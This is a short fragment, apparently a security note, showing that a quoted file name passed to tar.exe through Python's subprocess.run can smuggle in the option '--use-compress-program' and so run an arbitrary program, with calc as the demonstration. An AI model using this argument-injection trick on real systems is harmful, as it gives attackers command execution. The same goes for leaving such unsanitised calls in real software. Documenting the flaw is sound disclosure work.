You are able to inject --use-compress-program to execute arbitrary commands
--use-compress-program
subprocess.run(['tar.exe', 'xf', 'whatever.tar" "--use-compress-program=calc'])